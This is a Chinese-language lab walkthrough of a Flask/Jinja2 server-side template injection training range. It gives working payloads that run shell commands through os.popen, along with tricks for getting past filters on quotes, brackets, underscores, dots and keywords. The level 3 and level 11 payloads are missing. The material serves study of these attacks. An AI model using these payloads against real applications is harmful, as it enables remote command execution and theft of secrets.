flask-ssti-labs训练笔记
该靶场来源于GitHub上的项目,下载看readme就好了

主要界面如下
Level 1
没有任何waf,随意打

payload:{{url_for.__globals__['os'].popen('cat flag').read()}}
Level 2
waf为过滤{{}},这也简单,用{%%}就好了
payload:{%print(url_for.__globals__['os'].popen('cat flag').read())%}

ok,就这样。
Level 3
第三题提示no waf and blind
no waf,那就试试第一题的payload{{url_for.__globals__['os'].popen('cat flag').read()}}

没有这个回显,那么尝试把flag写入一个文件里,payload为
这样文件就写到1.txt文件里了,因为是本地文件访问不到,所以不展示了。
Level 4
waf为bl[‘[’, ‘]’],限制了方括号,那该如何绕过
因为上述的payload的方括号都是只有在['os']处有,而这部分又可以替换成.os.所以第一种payload为{{url_for.__globals__.os.popen('cat flag').read()}}
但是因为有些时候不能用类似url_for这类函数,而要从基类开始,不可避免的使用[],如用__subclasses__()[]时,那这时候就要用另外的绕过方式。
在 Python 中,__getitem__ 是一个特殊方法,用于实现对象的索引访问(例如 obj[117]等同于obj.__getitem__(117)),或者用.pop()函数也是可以的,这些都是适用于索引的方法。
在Python中,
obj[index]实际上是调用了obj.__getitem__(index)方法。因此,可以通过直接调用__getitem__来绕过方括号的限制。例如:__subclasses__()[117]可以替换为__subclasses__().__getitem__(117)。pop()方法可以用于从列表中移除并返回指定索引的元素。例如:__subclasses__()[117]可以替换为__subclasses__().pop(117)。
Level 5
waf为bl[‘’', ‘"’],过滤单引号双引号。
用request.arg来绕过
payload为{{url_for.__globals__.os.popen(request.args.a).read()}}然后GET请求a='cat flag'

但有点奇怪,我用cat flag报错了,于是演示用的是ls。
下面是request方法绕过:
request.args.key 获取get传入的参数
request.form.key 获取post传入的参数
request.values.key 获取所有参数,get和post有同一个参数,post的参数会覆盖get
request.cookies.key 获取cookies传入参数
request.header.key 获取请求头请求传参
request.data 获取post传参(Content-Type:a/b)
request.json 获取post传入json参数(Content-Type:application/json)
Level 6
waf为bl[‘_’],过滤下划线。
这道题同样可以用上述方法绕过。
payload为{{lipsum[request.args.a].os.popen('cat flag').read()}},GET请求为?a=__globals__

或者用hex ,unicode编码也行,payload为{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat flag').read()}}
注:\x5f要记得写两个,以及别忘了单引号。
Level 7
waf为bl[‘.’]
.被过滤了可以用方括号代替,payload为{{lipsum['__globals__']['os']['popen']('cat flag')['read']()}}
Level 8
waf为bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”],过滤挺多东西的,像这种过滤字母的一般都用[‘ ‘+’ ‘]过滤。
payload为{{url_for['__glo'+'bals__']['os']['pop'+'en']('cat flag').read()}}
注:不要加点,如果有时候payload行不通可以看一下把点换了有没有效果。
Level 9
waf为bl[‘0-9’],过滤数字。
像用这样的函数的payload,里面没有数字,就可以直接用了
payload为{{url_for.__globals__['os'].popen('cat flag').read()}}
Level 10
waf为set config = None,题目要求获得config
先试试{{config}}
没有回显,这里可以对比一下之前的
可以看到应该是把这个config设为空值,那么如何获取这个config呢?
可以通过 current_app取config,current_app 是 Flask 中的一个代理对象,表示当前的应用上下文,可以通过它访问应用的配置。
payload为{{url_for.__globals__['current_app'].config}}
注:这里函数不能用lipsum,因为在{{lipsum.__globals__}}里没有current_app。
Level 11
waf为bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’],过滤了单双引号、加号、request、点、方括号,更难绕过了。
ban 了 ' " request思考如何返回字符串? 可以通过 |join 过滤器将列表拼接成字符串。
ban 了 . []如何取属性 ? 可以通过 |attr() 过滤器来访问属性。
**如何取键值 ? ** 可以通过 __getitem__ 方法来访问键值。这个在Level 4中也有提。
最后通过 {% set %} 和 |join 过滤器,动态构造需要的字符串(如 __globals__、os、popen 等)。
payload为
1 | |
直接全粘贴上去就好了
Level 12
待更新。。